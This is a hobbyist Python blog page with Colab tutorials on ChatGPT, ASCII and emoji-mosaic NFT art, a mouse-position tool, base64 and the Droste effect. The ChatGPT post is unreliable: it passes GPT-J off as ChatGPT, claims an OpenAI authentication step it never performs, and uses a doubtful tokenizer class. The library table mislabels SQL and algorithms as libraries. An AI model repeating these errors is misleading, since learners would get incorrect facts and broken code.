Python 4 Fun

Generate Free image on Pysnakeblog.blogspot.com

2024-06-28T01:03:00.000-07:00

Image Generator

Enter prompt:

Enter seed (digits only):
(*Any random numbers try 8532135765 or more. No limits)

Select aspect ratio:

Mobile Portrait (1080x1920)

Instagram Square (1024x1024)

YouTube Screen (1280x720)

Unlocking the Power of ChatGPT with Google Colab: A Step-by-Step Guide

2023-06-26T09:46:00.010-07:00

Introduction:

In the world of artificial intelligence and natural language processing, ChatGPT has emerged as a powerful language model developed by OpenAI. By combining the capabilities of ChatGPT with the collaborative nature of Google Colab, you can create interactive and engaging experiences. In this blog post, we will walk through a comprehensive tutorial on how to use Python and ChatGPT together in Google Colab. Let's dive in!

Setting up Google Colab:

Before we embark on our journey of integrating ChatGPT with Google Colab, let's ensure we have a solid foundation. Follow these steps to get started:

Go to colab.research.google.com and create a new notebook.
Choose a Python runtime environment for your notebook.

Installing the Required Libraries:

To utilize ChatGPT, we need to install the necessary libraries. Execute the following code snippets in separate code cells:

!pip install openai
!pip install transformers

Importing Libraries and Authenticating OpenAI API:

To leverage ChatGPT's capabilities, we need to import the required libraries and authenticate with the OpenAI API. Insert the following code snippets into separate code cells:

import openai
from transformers import GPTJForCausalLM, GPTJTokenizer

Initializing the ChatGPT Model:

Next, we need to initialize the ChatGPT model and tokenizer. Add the following code to a new code cell:

model = GPTJForCausalLM.from_pretrained('EleutherAI/gpt-j-6B')
tokenizer = GPTJTokenizer.from_pretrained('EleutherAI/gpt-j-6B')

Creating a Conversation Loop:

To engage in interactive conversations with ChatGPT, we'll set up a conversation loop. Define a function with the following code:

def chat_with_gpt(prompt):
    conversation_history = []
    while True:
        user_input = input('User: ')
        conversation_history.append('User: ' + user_input)
        input_text = '\n'.join(conversation_history)
        input_ids = tokenizer.encode(input_text, return_tensors='pt')
        output = model.generate(input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)
        response = tokenizer.decode(output[:, input_ids.shape[-1]:][0], skip_special_tokens=True)
        conversation_history.append('GPT: ' + response)
        print('GPT:', response)

Initiating a Conversation:

Now that we have our conversation loop defined, we can begin a chat with ChatGPT. Create a new code cell and call the function:

chat_with_gpt('Hello, how can I assist you today?')

Conclusion:

Congratulations! You have successfully learned how to integrate Python with ChatGPT using Google Colab. By following this step-by-step guide, you can now leverage the power of ChatGPT to create engaging and interactive experiences. Experiment with different prompts and scenarios to explore the capabilities of ChatGPT further. Happy coding!

Remember, the possibilities with ChatGPT are vast, and Google Colab provides an excellent environment for experimentation. Continue to explore and innovate to unlock the full potential of AI-powered conversations.

Make sure to bookmark this page for future reference and share it with others interested in using ChatGPT with Google Colab. Stay ahead in the world of AI!

Free AI Generator Online (No need to login, No need to pay, No need to install anything): Unveiling the Unlikely Journey of AI

2023-06-22T09:18:00.057-07:00

Free Anime AI Art Generator Online Free AI Generator Online (No need to login, No need to pay, No need to install anything): Unveiling the Unlikely Journey of AI

Introduction:

Artificial Intelligence (AI) has undergone an unexpected transformation, deviating from the dystopian fears inspired by movies like Terminator. In a twist of fate, AI has become a catalyst for artistic expression and creative revolutions. This blog post explores how AI has taken an unconventional path, its impact on various industries, and introduces the Free AI Generator Online. Discover how this innovative tool, along with other AI-powered platforms, generates prompts to inspire your creativity, all without the need for login, payment, or installations.

The Unforeseen Artistic Approach:

Contrary to popular belief, AI has found its home in the realm of creativity and art, surprising many who anticipated a different outcome. It all began with projects like Google's CoLab, providing users with a canvas for exploring AI-generated artwork. This ignited a groundbreaking movement that transcended traditional art forms, leading to unforeseen artistic possibilities.

Enter the NFT Revolution:

The rise of Non-Fungible Tokens (NFTs) has become a significant turning point in the fusion of AI and art. Platforms such as Decoded and Midjourney emerged, enabling artists to showcase and sell their AI-generated masterpieces. This unique blend of AI and blockchain technology revolutionized the art world, captivating both established artists and aspiring creators alike.

Introducing the Free AI Generator Online:

At the forefront of this artistic AI revolution is the Free AI Generator Online. This powerful tool provides users with randomly generated AI prompts, sparking inspiration for creative endeavors of all kinds. With no login requirements, no payment needed, and no installations necessary, this user-friendly platform offers seamless access to AI-generated ideas. Additionally, it encourages users to contribute their own prompts, fostering a collaborative community of creative thinkers.

Expanding the AI Prompt Universe:

In addition to the Free AI Generator Online, other platforms have emerged to further expand the possibilities of AI-generated prompts. Websites like Civitai.com and Lexica.art provide diverse prompt options, catering to various artistic genres and interests. These platforms empower users to explore new horizons and push the boundaries of their creativity with the aid of AI.

Conclusion:

AI's unexpected journey has taken it far from the predicted dystopian future. Instead, it has become a valuable tool for artists, sparking a wave of creativity in the art world, driven by NFTs and innovative platforms like the Free AI Generator Online. Embrace the power of AI to unlock your imagination and explore new artistic frontiers. With no login required, no payment necessary, and no installations needed, you have everything to gain from this accessible and inspiring AI-powered tool.

The Python libraries that I need to learn for competitive programming

2022-04-01T05:16:00.006-07:00

There are atleast 32 Python Libraries You need to learn to become a full fledged programmer are as follows.

Python Libraries	Stands for	for Machine Learning (ML)	Types	Used for
Apriori		✔️	ML Algorithm	Mining frequent itemsets and devising association rules from a transactional database.
BeautifulSoup			Data Mining/Scraping	Scraping data from web
Bokeh		✔️	ML Library	Creating interactive visualizations for modern web browsers
Caffe	Convolutional Architecture for Fast Feature Embedding	✔️	ML Framework	Academic research projects
Core Python			Python Library	Includes all the core fucntionalities of python
DTs	Decision Trees	✔️	ML Algorithm	Classification and regression
Eli5		✔️	ML Framework	Inspect ML classifiers and explain their predictions
Hierarchical Clustering		✔️	ML Algorithm	Method to analyze social network data
Keras		✔️	ML Framework	Creating deep models which can be productized on smartphones & distributed training of deep learning models. Used by companies such as Netflix
K-Mean Clustering		✔️	ML Algorithm	Find groups which have not been explicitly labeled in the data
KNN	K-Nearest Neighbors	✔️	ML Algorithm	Classification (most commonly) and regression
LightGBM	Light Gradient Boosting Machine	✔️		Ranking
Linear Regression		✔️	ML Algorithm	To predict the value of a variable based on the value of another variable.
Logistic Regression		✔️	ML Algorithm	Understand the relationship between the dependent variable and one or more independent variables by estimating probabilities using a logistic regression equation.
Matplotlib		✔️	ML Library	Data visualization and graphical plotting library for Python and its numerical extension NumPy
Naive Bayes		✔️	ML Algorithm	Predict the probability of different class based on various attributes.
Numpy	Numerical Python	✔️	Math Calculation	Math Calculation
Pandas	Python Data Analysis Library	✔️	Edit/View Data	Data analysis and associated manipulation of tabular data in Dataframes
Plotly		✔️	Edit/View Data	Create beautiful interactive web-based visualizations on Jupyter Notebook.
PyCaret		✔️	Machine Learning	Automates machine learning workflows
PyTorch		✔️	ML Framework	Applications of research
Random Forest		✔️	Decision tree Algorithms	Classification and regression problems
RegEx	Regular Expression		Python Library	To check if a string contains the specified search pattern.
Sklearn	Scikit-learn	✔️	ML Library	Contains a lot of efficient tools for machine learning and statistical modeling including classification
SciPy	Scientific Python	✔️	Math Calculation	Utility functions for optimization
Scrapy			Data Mining/Scraping	Scrapy is a Python framework for large scale web scraping
Seaborn			Edit/View Data	Making statistical graphics in Python
SQL	Structured Query Language		Edit/View Data	Managing or querying data stored in a relational database management system (RDBMS).
SVM	Support Vector Machine	✔️	ML Algorithm	Supervised and linear Machine Learning algorithm. Solving classification problems
TensorFlow		✔️	Python Library	Fast numerical computing created and released by Google.
Theano			Python Library	Fast numerical computation that can be run on the CPU or GPU.
XGBoost	Extreme Gradient Boosting		Python Library	Provides a wrapper class to allow models to be treated like classifiers or regressors in the scikit-learn framework.

Encoding and Decoding Base64 Strings in Python | Simple Formula

2022-03-29T04:58:00.002-07:00

First Import Base64

>>> import base64

Encoding in Base64

>>> string = "test"
>>> 
>>> base64_string = base64.b64encode(f'{string}'.encode("ascii")).decode("ascii")
>>> base64_string
'dGVzdA=='

Decoding in Base64

>>> base64_decoded = base64.b64decode(f'{base64_string}'.encode("ascii")).decode('ascii')
>>> base64_decoded
'test'

Get Mouse Position in Real Time using Python | Mouse Position Application

2022-03-08T08:14:00.004-08:00

While using pyautogui module I always come across the same problem that is getting the X & Y mouse coordinates for pyautogui.moveTo(X,Y) which is not accurate or correct.

I seem to struggle getting the correct mouse position every time I use pyautogui module

Well as the title suggest what this post is about so ya I made myself a simple application in python which will give me coordinates in real time and I can re-use this applicaiton again and again and again with ease.

This is the final result. Hope it helps some one out there.

Mouse Position Application Code

# Import the required libraries
from tkinter import *
import pyautogui
    
root=Tk()
root.title("Mouse Position Application in Real Time")

# Getting Your Screen Size
ws = root.winfo_screenwidth()
hs = root.winfo_screenheight()
print(ws,hs)

def mouse_position(event):
   x, y = pyautogui.position()
   m = ("X: "+str(x)+'\n'+ "Y: "+str(y))
   x1=event.x
   y1=event.y
   x2=event.x
   y2=event.y
   # Draw an oval in the given co-ordinates
   canvas.create_oval(x1,y1,x2,y2,fill="black", width=5)

   # In simple format
   #canvas.create_text(x2+0,y2+15,text=f"{m}")

   # Same as above but with font, size, color
   # Anchor East = e, west = w, north = n, south = s
   canvas.create_text(x2+0,y2-15,text=f"{m}", anchor='e', font=("Courier", 10), fill='red')

# Create a canvas widget
canvas = Canvas(root, width=f"{ws}", height=f"{hs}", bg = '#F5FFFA', highlightthickness = 0)
canvas.pack()

# To Make Full Screen
#canvas.master.overrideredirect(True)

# Make screen transparent using alpha
canvas.master.wm_attributes("-alpha",0.5)

# Keep it above all other window screens
canvas.master.wm_attributes("-topmost",True)

# Just for fun
#canvas.bind('<Motion>', mouse_position)

# To show result after release use <ButtonRelease-1>
canvas.bind('<ButtonPress>', mouse_position)

mainloop()

:::Dev Info:::

My Name:- Joel D'costa
Git:- mouse_position_application_RealTime

Emoji Mosaic & Ascii Art for NFT with Python | Google Colab Project

2022-03-07T03:11:00.029-08:00

This is another project which I have created in Google Colab and you can create NFTs Adding Emojies to any Image using Python.

But First, We are going to make Ascii Art using Python. The Code will then convert the ascii output into Image. Which Can be used as another type of NFTs.

First we will clone my git to colab, to use it later.

#Get Emoji Library from Git 
!git clone "https://github.com/joeldcosta/emoji-mosaic-mpl.git"

Download Image. I am using Mona Lisa image from wikipedia image souce, which will automatically rename it as Mona.jpg

#Download the Image
!wget "https://upload.wikimedia.org/wikipedia/commons/thumb/e/ec/Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg/1200px-Mona_Lisa%2C_by_Leonardo_da_Vinci%2C_from_C2RMF_retouched.jpg" -O "Mona.jpg"

Convert Image to Ascii Art

# Image to Ascii Art
import string
import matplotlib.pyplot as plt
import numpy as np
from PIL import Image
%matplotlib inline

#Image File
img_file = "Mona.jpg"

#open and resize 
# Change the size 
size = 60 #[HERE]
im = Image.open(img_file).resize([size, size])

#convert to greyscale
im2 = im.convert(mode = 'L')

#convert image to array (flattened) --> reshape 
im4 = np.array(im2.getdata()).reshape([size, size])
print('Image loaded...')

#ASCII directory
#Variation 1
asci =  r"QG@#$%?*+^)/;:!,'.` " 

#Variation 2
#asci = r"B8&WM#YXQO{}[]()I1i!pao;:,.    "

#get the proportion of 256 and replace with an ASCII charecter.
im7 = []
for i in range(size):
    imtemp = ""
    for j in range(size):
        imtemp+= asci[(len(asci)-1)*im4[i,j]//256]
    im7.append(imtemp)
print('Image Converted...')
    
#Ascii Saved in a text file    
with open('Mona_ascii.txt', 'w') as text:
    for i in im7:
        text.write(i)
        text.write('\n')

print('Image written to .txt file.')
example1 = "/content/Mona_ascii.txt"
file1 = open(example1, "r")
print(file1.read())


>> Image loaded...
>> Image Converted...
>> Image written to .txt file.
***************??**********************???????????????*???*?
++++++++++++++++**++++++++++++++++++++++*****+****+++++++++*
++++++++++++++++*++++++++++++++++++++++++++++++++++++++++^++
+^^+^^+++^^+++++++++++++++^^^^^^++++++^^^++++++++^^^^^^^^^^+
^^^^^^^^^^^^^^^^^^^^^^^++^^^^^)^^^^^^^^^^^^^^^^^^^^^^^^^^^^+
^)^^^^^^^^^^^^^^^^^^^^^^^^^+****++^^^^^^^^^^^^^^^^^^))^^^))^
^)^)))^^)^^^^)))))))))))+?%%$##@##$?+)^)^^^^^^^)^))))))))))^
^)))))))))))))))))))))^?%%*?%$$#@@@G@*))))^^^)))))))))))))))
^))/))/))))))//))))//)??^)/)^+?$#@GGGG?))))))))))/))))))))/)
^)))))//////////////)?*/:!!!:;)*$#@GGGG*/)))/////////))))//)
^///)////;//////////*#^;:::!:;)+?$@@GGG@^))))///////////)//)
+))))^//;;/;;//;//;^$$);:::::;/)^*$@GGGQ%+++^)))////////)//)
?++*++^)))^))/;;;;/?#%//;::;))))^*$@GGGG#??*++^+)///;;/))))+
$???++++*+**++/;;;^%#$*+*);**+?%%?%@@GGG@%%?****+/;;;;/))^)+
$%****+***??**))+^^$@%))^//+)/^^)^%@@GGG@%%%????*);;///)^^)^
%???***?????%%?????$@%;:;;;)/::;)+$@@@GG@%??*????+)//)))^^^^
??$%???????%%%%%%$$#@#);;;;^/;;/+?#@@@@G@$%??***++^^^++++++*
%%$$?%??????%%%%%$##@@*)//*?^;)^*%#@@@@G@#$$$%%%%????*???%??
#$$$%%%%?%?%%%%%%$###@%^)/+*+^)^*%@@@@@G@@$%%%%%%%%??*?%%%?*
$$$%%%%%%%%%%%%%%%$#@@@?)/)^+^^*%$@@@@GG@#%%%%%%%%??%%%??%??
##$$$%%%%%%%%%%???%#@@@@$);/^*?%$#@@@@GG@@$%%??%%%?%%%???%??
##$$$$%%%%$%%%??**?#@@@@@#%%%$$####@@@@G@@#%%%?%%%%%$%?????%
##$$#$$%?????**++**$@@@@@@#??$$$$%%$@@GG@G#%%%?%%%%%%%%%%?*?
#$$$$%%??????*****?$@@@@@@#+)+***+*?#@G@@G@$%???*****+*???*?
$%?????**?%%%$%%%%$#@@@@#$?^)))))))+%####@G@###$%$%++***?%??
%%%?%%???%%?%###$$#@@@#$*);;;;;;;;/)?#$$#@@@#$%?*++^+***????
%%%%$%??????%#$##$@@@#$^;:::::::::;)?$$$#@@@@#$?^^^+++****??
?%?%?%*****%%$%$$#@@#$+;:!!!!:!!::;)?$$$@@#$#@@$?*+^++++++??
%%%%%$?*+++*%%?$@@@#?+/:!!!!!!!!::;^?$$$$%??%$@@#%?*+^^))^+*
%???%%%$%*+**?$@@@@$);:!!!!!,!!!!:;^?%?*+++?%$@@@@#$%%%*+^^^
$????%????**+?@@@@@%^:!!!!!,,,,,,!;^***?%$#@@GGG@@@#$$$%*^^+
$%???****++*$@@@@@$%?+^//:!,,,,!!/^*%$#@@@@@GGGG@@@@#%%%%%?*
#$%?***?**?#@#@##$%%%%%?*++^))))+?%$@@@@####@GGGG@@@#$%%%??%
$##%?******######$$$#$$?????????%$#@G@@#$###@@@@G@@@@#$$$%%%
$#@$%%?%%%$##@@@#$####$%??%%%%%$#@GG@@####$%%$$#@@@@@#%??%%%
$$#??**?*?$##@@@###@##$$$$$$$%$#@@G@@@@@##%%%$#@G@@@@##$%$$%
$$?++++^^?####@@#####@#####$$$#@@@@@@@@@$$%$$@GGG@@####%??%%
?%?****+?#########@##@####$$$##@GG@G@@@#$###GGGG@@@####$????
%$$$%%%$##@##$#@@@@@@@@####$###@@GGGGG@#@@GGG@GG@@@@@@####$$
%$%%%$######$$$#@@@@@@@@#####@@@@@GGGG@@GGGGGGGGGG@@@@###$$%
%$$$######$$$$##@@@@@@@@#$$#@@@@@@GGGG@GGGG@@GGGGG@@#@###$$%
%$$#######@@#@@@@@G@@@@@###@@@@@@GGGG@GGGGG@@@@GGG@@@@@##$%%
%$####@##$$$$#@@@@G@@G@@@@@@@@@GGGGGGGGGGGGGGG@GGGG@@@@@#$%%
%$@##@#$$%%%%%$#@@@@@@@@@@@@@GGGGGGGGGGGGGGGGGGGGGGG@@@@@#$%
%#@##@#$%??%%%?%?^))^*%#@GGGGGGGGGGGGGGGGGGG@@GGGGG@@@@@@@#$
$#@@@@#$%$%%$%$?);:;;//)^*$@GGGGGGGGGGGGGGGG@@GGGGG@@@@@@##$
$#@@@@@##$$#$$$?^)/)//////)+?$@GGGQQQGGGGQGGGGGGG@@@@@@@###$
$@@@@@G@@@@####$?**+^))/))))/)*$@G@#@@#$$##@GGGGG@$@@@@@@#@#
$#GGGGGGG@G@@@@@#$?*+^^)^))+?^)+???*%%%%%%$##@GGG@#@@@@@@@##
#@@@GGGGGGGGGG#?*^)+**++^^+^+%%???%$$$%$$$$###GGGGGGGG@@@@#$
@@G@GGGGGGGGG@??+^))+??**^^?*+?$$$$$##$%#@#@@@GGQQGGGG@G@@#$
@GGG@GGG@@GGG#?**+))+*%%?%*+?%??$##@@@@#@@@@GGGQQQQGGGG@@@#$
@GGGGGGGGGG@@#%??+^*%$$##$$$$$#$%@@G@GGGGGGGGGQQQQGGGGG@@@##
@GGGGGGGGGGG@@#$?+?########$#@@@@GGGGQQQGGGQQQQQQQGGGGG@@@@@
@GGGG@GGGGGGGGG@$%#@@@@@@###@@@GGGGGGGQQQQQQQQQQQQGGGGGG@@@@
GGGGGGGGGGGGGGG@@#@@G@@@@@@@GGGGGGGGQQQQQQQQQQQQQQQGGGGGGG@@
GGGGGGGGGGGGGGGGGGGGGGGGGGGGQQQQQQQQQQQQQQQQQQQQQQQQGGGGGGG@
GGGGGGGGGGGGGGGGGGGGGGGGGGQGQQQQQQQQQQQQQQQQQQQQQQQQGGGGGGGG
GGGGGGGGGGGGGGGGGGQGGGGGGQGGQQQQQQQQQQQQQQQQQQQQQQQQQQGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGQQQGGGGGQGQQQQQQQQQQQQQQQQQGGG

Now, We will Convert Our output text to Image

from math import ceil

from PIL import (
    Image,
    ImageFont,
    ImageDraw,
)

PIL_GRAYSCALE = 'L'
PIL_WIDTH_INDEX = 0
PIL_HEIGHT_INDEX = 1
COMMON_MONO_FONT_FILENAMES = [
    'DejaVuSansMono.ttf',  # Linux
    'Consolas Mono.ttf',   # MacOS, I think
    'Consola.ttf',         # Windows, I think
]

in_put = "/content/Mona_ascii.txt"
out_put = "Mona_text_img.png"

def main():
    image = textfile_to_image(in_put)
    image.show()
    image.save(out_put)

def textfile_to_image(textfile_path):
    """Convert text file to a grayscale image.

    arguments:
    textfile_path - the content of this file will be converted to an image
    font_path - path to a font file (for example impact.ttf)
    """
    # parse the file into lines stripped of whitespace on the right side
    with open(textfile_path) as f:
        lines = tuple(line.rstrip() for line in f.readlines())

    # choose a font (you can see more detail in the linked library on github)
    font = None
    large_font = 20  # get better resolution with larger size
    for font_filename in COMMON_MONO_FONT_FILENAMES:
        try:
            font = ImageFont.truetype(font_filename, size=large_font)
            print(f'Using font "{font_filename}".')
            break
        except IOError:
            print(f'Could not load font "{font_filename}".')
    if font is None:
        font = ImageFont.load_default()
        print('Using default font.')

    # make a sufficiently sized background image based on the combination of font and lines
    font_points_to_pixels = lambda pt: round(pt * 96.0 / 72)
    margin_pixels = 20

    # height of the background image
    tallest_line = max(lines, key=lambda line: font.getsize(line)[PIL_HEIGHT_INDEX])
    max_line_height = font_points_to_pixels(font.getsize(tallest_line)[PIL_HEIGHT_INDEX])
    realistic_line_height = max_line_height * 0.8  # apparently it measures a lot of space above visible content
    image_height = int(ceil(realistic_line_height * len(lines) + 2 * margin_pixels))

    # width of the background image
    widest_line = max(lines, key=lambda s: font.getsize(s)[PIL_WIDTH_INDEX])
    max_line_width = font_points_to_pixels(font.getsize(widest_line)[PIL_WIDTH_INDEX])
    image_width = int(ceil(max_line_width + (2 * margin_pixels)))

    # draw the background
    background_color = 255  # white
    image = Image.new(PIL_GRAYSCALE, (image_width, image_height), color=background_color)
    draw = ImageDraw.Draw(image)

    # draw each line of text
    font_color = 0  # black
    horizontal_position = margin_pixels
    for i, line in enumerate(lines):
        vertical_position = int(round(margin_pixels + (i * realistic_line_height)))
        draw.text((horizontal_position, vertical_position), line, fill=font_color, font=font)

    return image

if __name__ == '__main__':
    main()
print("Your File name is ",out_put, "[Save / Download]")
from IPython.display import Image
Image(out_put)

Convert Image to Emoji Mosaic Art

#imports 
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mim
import matplotlib.pyplot as plt
from scipy import spatial
from matplotlib import cm
from PIL import Image

#Image File
img_file = "Mona.jpg"

#emoji directory###################################################
# Note:- Using Emoji_16.npy (Variation 1)

## Uncomment this two lines or...
emoji_array = np.load("/content/emoji-mosaic-mpl/emojis_16.npy")
size = 100

# Note:- Using Emoji_matches.npy (Variation 2)

## Uncomment this two lines!!!
#emoji_array = np.load("/content/emoji-mosaic-mpl/emoji_matches.npy")
#size = 100

# Change size according to your convinence 16, 100, 200, 500... etc etc
###################################################################

#get mean of each emoji
emoji_mean_array = np.array([ar.mean(axis=(0,1)) for ar in emoji_array]) 

#store them in a tree  to search faster 
tree = spatial.KDTree(emoji_mean_array)

#--> open  
#--> resize, smaller  
#--> convert to an array
#--> reshape to a 3d array 
#--> normalize the pixel values
G_sm = np.array(Image.open(img_file).resize([size,size]).getdata()).reshape([size,size,3])/256

plt.figure()
plt.imshow(G_sm)
plt.title('Original Image')

indices = []

#flatten the array
flattened_img = G_sm.reshape(-1, G_sm.shape[-1]) 

#match the pixels with the  closest resembling emoji
#tree.query() finds the nearest neighbour index
for pixel in flattened_img:
    pixel_ = np.concatenate((pixel, [1]))
    _, index=tree.query(pixel_)
    indices.append(index)

#from index get the corresponding emoji (flattened)
emoji_matches = emoji_array[indices] 

#reshape it to form the image. each emoji has the shape (16, 16, 4)
#note: 4 --> R, G, B, alpha
dim = G_sm.shape[0] 
resized_ar = emoji_matches.reshape((dim, dim, 16, 16, 4 ))

#converts individual emoji patches (5 dimensional)
#into a complete image (3 dimensional) using numpy blocks
final_img = np.block([[[x] for x in row] for row in resized_ar]) 

#Plot Image with Data
plt.figure()
plt.imshow(final_img)
plt.title('Emoji mosaic')
plt.savefig('plot_emojied.png')

# NFT Image
nft = 'NFT_1.png'
plt.imsave(nft,final_img)
print("Your NFT is Saved & Ready to Use")
print("Your NFT File Name is : ", nft)
>> Your NFT is Saved & Ready to Use
>> Your NFT File Name is :  NFT_1.png

*This will give you the output as Preview of Original Image and Plotted Image + Create Ready to use NFT as NFT_1.png which you noticed at the beginning of this tutorial.

And Finally You can download your Image and use it on Opensea or You can twick this code or just experiment with it. You can change the ascii script and try with this variation asci="░▒▓█▄▀■".

:::Dev Info:::

My Name:- Joel D'costa
Git:- Emoji Mosaic MPL
Google Colab:-

Create Droste Effect Using Python for NFT

2022-03-06T03:34:00.029-08:00

Incease you wonder what is Droste Effect. This is what a Droste Effect looks like.

History:- Droste Effect was one of the options in Pixel bender which was an addon of Photoshop CS5 which was fun to use, but later it was discontinued for unknown reasons in later Photoshop versions. So I thought there could be a posibility if the same could be achieved using Python. Polishing the code is still in progress but the end result is quite good enough for now.

Let me show you how I made Droste Effect using python with the help of Google Colab. You can use it for creating NFTs. Or try it out from my github repositories. (Link Below)

I will explain the code here.
This Code will remove the sample_data folder, we do not need it. By default when ever you create a new google colab it will automatically generate one for you to use and testing out excel data with python and other programs.

#@title Remove sample_data
!rm -rf sample_data

Add input of your desired Image URL and the Code will download it for you and rename it as test.jpg automatially. JPG or PNG won't make a difference it still works the same.

#@markdown Download image from web
import os
Download_Image = "https://m.media-amazon.com/images/I/812L5zyAmpL._AC_SX522_.jpg" #@param {type:"string"}
os.popen(f"""wget {Download_Image} -O 'test.jpg'""").read()
print("Downloaded as test.jpg!!!")

And this is the Main Code which makes the magic happen

#@title ***Droste Effect Input***
import numpy as np
import cv2
import random
#import sys
import os.path
from IPython.display import Image
# Math explained here: http://www.josleys.com/article_show.php?id=82

class Droste:
    def __init__(self, fPath, repeatsX, repeatsY, r1, r2, xRange, yRange, resultFolderAddress):
        self.repeatsX = repeatsX
        self.repeatsY = repeatsY
        self.r1 = min(r1, r2)
        self.r2 = max(r1, r2)
        self.inputImg = cv2.imread(fPath, cv2.IMREAD_UNCHANGED) #returns a matrix-like object
        self.xRange = xRange
        self.yRange = yRange
        self.resultFolderAddress = resultFolderAddress

    def Transform(self, method):
        # Builds  new plane
        img, r, c, Z = self.CreateComplexPlane()
        if method == 1:
            # 1: Ln -> Tile   -> Rotate -> exponent
            self.Calculate1(Z, r, c)  # takes in the complex plane, outputs the transformed plane
        else:
            # 0: Ln -> Rotate -> Tile   -> exponent
            self.Calculate(Z, r, c)  # takes in the complex plane, outputs the transformed plane


    def CreateComplexPlane(self):
        '''
        :param self: loads the input image
        :return: the image as matrix, nbr of rows, nbr of cols, complex plane
        '''
        img = self.inputImg
        r = img.shape[0] #nbr of rows
        c = img.shape[1] #nbr of cols
        x = np.linspace(-self.xRange, self.xRange, num=r, endpoint=True, dtype=np.float32) #Returns an array of evenly spaced numbers over a specified interval.
        y = np.linspace(-self.yRange, self.yRange, num=c, endpoint=True, dtype=np.float32)
        X, Y = np.meshgrid(x, y, indexing='ij') #creates rect grid off arrays, here it uses Matrix indexing. Returns X, Y coordinates
        Z = X + (1j * Y); # Transf to the Complex Plane (then we will transform back to Cartesian) 1J is the imaginary part.
        return img, r, c, Z



    def TILE(self, W, r, c, repeatX, repeatY):
        X = W.real
        Y = W.imag

        xOffset = np.log(self.r2 / self.r1)
        repeatYHalf = int((repeatY - 1)/2)
        repeatXHalf = int((repeatX - 1)/2)
        for i in range(-repeatYHalf, repeatYHalf + 1):
            W2 = None
            for j in range(-repeatXHalf, repeatXHalf + 1):
                if 0 == repeatXHalf + j:
                    W2 = X + j * xOffset + (Y + 2 * np.pi * i) * 1j
                else:
                    W2 = np.concatenate([W2, X + j * xOffset + (Y + np.pi*2*i) * 1j], axis=0)
            if 0 == repeatYHalf + i:
                W1 = W2
            else:
                W1 = np.concatenate([W1, W2], axis=1)
        return W1


    def TILE2(self, W, X, Y, repeatX, repeatY):
        X = W.real
        Y = W.imag

        repeatYHalf = int((repeatY - 1)/2)
        repeatXHalf = int((repeatX - 1)/2)

        alpha = np.arctan2(np.log(max(self.r2,self.r1) / min(self.r1, self.r2)), 2 * np.pi) # we need alpha to calculate the offsets
        cosine = np.cos(alpha)
        sine = np.sin(alpha)
        yOffset = 2 * np.pi * sine * sine
        xOffset = 2 * np.pi * sine * cosine

        for i in range(-repeatYHalf, repeatYHalf + 1):
            W2 = None
            for j in range(-repeatXHalf, repeatXHalf + 1):
                if 0 == repeatXHalf + j:
                    W2 = X + j * xOffset + ((Y + (2 * np.pi * i + yOffset * j)) * 1j)
                else:
                    W2 = np.concatenate([W2, X + j * xOffset + ((Y + (2 * np.pi * i + yOffset * j)) * 1j)], axis=0)
            if 0 == repeatYHalf + i:
                W1 = W2
            else:
                W1 = np.concatenate([W1, W2], axis=1)

        return W1



    def LogTransform(self, Z, r, c):
        '''
        :param Z: Complex plane
        :param r: nbr of rows
        :param c: nbr of cols
        :return: np.log(z / min(r1, r2))
        '''
        Z1 = np.zeros([r, c], dtype=complex)

        ZAbs = np.absolute(Z)
        elemetsToApplyTransformation = (self.r1 <= ZAbs) & (ZAbs <= self.r2)

        Z1[elemetsToApplyTransformation] = np.log(Z[elemetsToApplyTransformation])

        return Z1


    def ExponentTransform(self, Z, r, c, repeatX, repeatY):
        Z1 = Z[:r * repeatX, :c * repeatY].copy()
        Z1 = np.exp(Z)
        return Z1


    def RotationTransform(self, Z, r, c, repeatX, repeatY):
        Z1 = Z[:r * repeatX, :c * repeatY].copy()
        alpha = np.arctan2(np.log(self.r2 / self.r1), 2 * np.pi)
        f = np.cos(alpha)

        Z1 = Z * f * np.exp(1j * alpha)
        return Z1


    def Calculate(self, Z, r, c):
        print(Z.shape)
        W1 = self.LogTransform(Z, r, c)
        # self.ReCreateImageAndSave(W1, "log-{}.{}-{}.{}-{}.jpg".format(0, self.r1, self.r2, 1, 1), r, c, 1, 1)

        W1 = self.RotationTransform(W1, r, c, 1, 1)
        # self.ReCreateImageAndSave(W1, "rot-{}.{}-{}.{}-{}.jpg".format(0, self.r1, self.r2, 1, 1), r, c, 1, 1)

        repeatX = self.repeatsX
        repeatY = self.repeatsY
        W1 = self.TILE2(W1, r, c, repeatX, repeatY)
        print(W1.shape)
        # self.ReCreateImageAndSave(W1, "tile-{}.{}-{}.{}-{}.jpg".format(0, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)

        W1 = self.ExponentTransform(W1, r, c, repeatX, repeatY)
        self.ReCreateImageAndSave(W1, "final-{}.{}-{}.{}-{}.jpg".format(0, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)
        return W1
        
    def Calculate1(self, Z, r, c):
        print(Z.shape)
        # apply Ln(z/r1)
        W1 = self.LogTransform(Z, r, c)
        # self.ReCreateImageAndSave(W1, "log-{}.{}-{}.{}-{}.jpg".format(1, self.r1, self.r2, 1, 1), r, c, 1, 1)

        # choose how many tiles we want to add
        repeatX = self.repeatsX
        repeatY = self.repeatsY
        # apply Tile
        W1 = self.TILE(W1, r, c, repeatX, repeatY)
        print(W1.shape)
        # self.ReCreateImageAndSave(W1, "rot-{}.{}-{}.{}-{}.jpg".format(1, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)

        # apply Rotation
        W1 = self.RotationTransform(W1, r, c, repeatX, repeatY)
        # self.ReCreateImageAndSave(W1, "tile-{}.{}-{}.{}-{}.jpg".format(1, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)

        # apply exponent
        W1 = self.ExponentTransform(W1, r, c, repeatX, repeatY)
        self.ReCreateImageAndSave(W1, "final-{}.{}-{}.{}-{}.jpg".format(1, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY)
        return W1
        Image(open(W1, "final-{}.{}-{}.{}-{}.jpg".format(0, self.r1, self.r2, repeatX, repeatY), r, c, repeatX, repeatY,'rb').read())


    def makeNewXY(self, W, wmax, x):
        return np.multiply(np.add(np.divide(W, wmax), 1), x / 2)

    def GetNewXY(self, W, r, c, repeatX, repeatY):
        Wx = np.real(W)
        Wy = np.imag(W)
        wxmax = np.absolute(Wx).max()
